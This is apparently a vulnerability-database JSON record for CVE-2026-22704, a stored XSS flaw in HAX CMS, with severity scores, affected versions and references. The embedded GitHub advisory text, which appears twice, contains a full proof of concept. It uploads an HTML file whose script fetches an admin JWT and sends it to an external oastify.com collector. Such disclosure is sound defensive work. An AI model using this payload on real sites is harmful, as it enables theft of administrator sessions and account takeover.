{"id":"CVE-2026-22704","aliases":["EUVD-2026-1866","GHSA-3fm2-xfq7-7778"],"status":"published","title":"HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01026,"percentile":0.6403,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-79"],"published":"2026-01-10T06:22:45Z","modified":"2026-10-28T02:30:39Z","exploits":[{"source":"exploitdb","id":"EDB-52526","title":"HAX CMS 24.x - Stored Cross-Site Scripting (XSS)","type":"webapps","platform":"multiple","date":"2026-04-29","url":"https://www.exploit-db.com/exploits/52526"}],"fixes":[{"ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","fixed_in":["25.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.6"},{"fixed":"25.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","ranges":[{"type":"SEMVER","events":[{"introduced":"11.0.6"},{"fixed":"25.0.0"}]}]}],"products":[{"vendor":"haxtheweb","product":"issues"},{"vendor":"psu","product":"haxcms-nodejs"}],"references":[{"url":"https://github.com/haxtheweb/issues/security/advisories/GHSA-3fm2-xfq7-7778","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/haxtheweb/haxcms-nodejs/commit/317a8ae29f88be389f7cfeffaef416957122d97e","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/haxtheweb/haxcms-nodejs/releases/tag/v25.0.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22704","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3fm2-xfq7-7778"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22704.json","tags":["advisory"]},{"url":"https://github.com/haxtheweb/issues","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-22704","title":"HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.","status":"published","published":"2026-01-10T06:22:45.076Z","modified":"2026-01-13T15:09:03.814Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:39:05.585774Z"}],"euvd":[{"id":"EUVD-2026-1866","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.","status":"published","published":"2026-01-10T06:22:45Z","modified":"2026-01-13T15:09:03Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:52.739812Z"}],"ghsa":[{"id":"GHSA-3fm2-xfq7-7778","title":"HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover","description":"### Summary\nStored XSS Leading to Account Takeover\n\n### Details\nThe Exploit Chain:\n1.Upload: The attacker uploads an `.html` file containing a JavaScript payload.\n2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.\n3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request.\n4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.\n5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.\n6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.\n\nVulnerability recurrence:\n\n\u003cimg width=\"1198\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3\" /\u003e\n\nThen we test access to this html\n\n\u003cimg width=\"1433\" height=\"1019\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253\" /\u003e\n\nYou can obtain other people's identity information\n\n\u003cimg width=\"1082\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275\" /\u003e\n\n\n### PoC\nPOST /system/api/saveFile?siteName=yu\u0026site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ\u0026jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1\nHost: 192.168.1.72:8080\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nConnection: close\nContent-Length: 1128\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"bulk-import\"\n\ntrue\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file-upload\"; filename=\"files/pwn1116.html\"\nContent-Type: text/plain\n\n\u003cscript\u003e\n  // This version adds headers to make the request look more legitimate.\n  fetch('/system/api/refreshAccessToken', {\n    method: 'POST',\n    headers: {\n      'Content-Type': 'application/json'\n    },\n    body: '{}' // Sending an empty JSON object body\n  })\n  .then(response =\u003e {\n    if (!response.ok) {\n        throw new Error('Network response was not ok ' + response.statusText);\n    }\n    return response.json();\n  })\n  .then(data =\u003e {\n    var stolenJWT = data.jwt;\n    var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT;\n    fetch(attackerUrl);\n  })\n  .catch(error =\u003e {\n    var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message;\n    fetch(attackerUrl);\n  });\n\u003c/script\u003e\n\u003ch1\u003eProcessing your request...\u003c/h1\u003e\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n### Impact\nThe attacker now possesses a valid administrator JWT and can take full control of the application.","status":"published","published":"2026-01-13T15:07:57Z","modified":"2026-01-13T15:09:35Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:17.333958Z"}],"nvd":[{"id":"CVE-2026-22704","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.","status":"published","published":"2026-01-10T07:16:03.2Z","modified":"2026-06-17T10:20:15.99Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:03.683495Z"}],"osv":[{"id":"CVE-2026-22704","title":"HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.","status":"published","published":"2026-01-10T06:22:45.076Z","modified":"2026-10-28T02:30:39.889515219Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:58.42038Z"},{"id":"GHSA-3fm2-xfq7-7778","title":"HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover","description":"### Summary\nStored XSS Leading to Account Takeover\n\n### Details\nThe Exploit Chain:\n1.Upload: The attacker uploads an `.html` file containing a JavaScript payload.\n2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.\n3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request.\n4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.\n5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.\n6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.\n\nVulnerability recurrence:\n\n\u003cimg width=\"1198\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3\" /\u003e\n\nThen we test access to this html\n\n\u003cimg width=\"1433\" height=\"1019\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253\" /\u003e\n\nYou can obtain other people's identity information\n\n\u003cimg width=\"1082\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275\" /\u003e\n\n\n### PoC\nPOST /system/api/saveFile?siteName=yu\u0026site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ\u0026jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1\nHost: 192.168.1.72:8080\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nConnection: close\nContent-Length: 1128\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"bulk-import\"\n\ntrue\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file-upload\"; filename=\"files/pwn1116.html\"\nContent-Type: text/plain\n\n\u003cscript\u003e\n  // This version adds headers to make the request look more legitimate.\n  fetch('/system/api/refreshAccessToken', {\n    method: 'POST',\n    headers: {\n      'Content-Type': 'application/json'\n    },\n    body: '{}' // Sending an empty JSON object body\n  })\n  .then(response =\u003e {\n    if (!response.ok) {\n        throw new Error('Network response was not ok ' + response.statusText);\n    }\n    return response.json();\n  })\n  .then(data =\u003e {\n    var stolenJWT = data.jwt;\n    var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT;\n    fetch(attackerUrl);\n  })\n  .catch(error =\u003e {\n    var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message;\n    fetch(attackerUrl);\n  });\n\u003c/script\u003e\n\u003ch1\u003eProcessing your request...\u003c/h1\u003e\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n### Impact\nThe attacker now possesses a valid administrator JWT and can take full control of the application.","status":"published","published":"2026-01-13T15:07:57Z","modified":"2026-02-03T03:01:35.507766Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:35.747385Z"}]}}
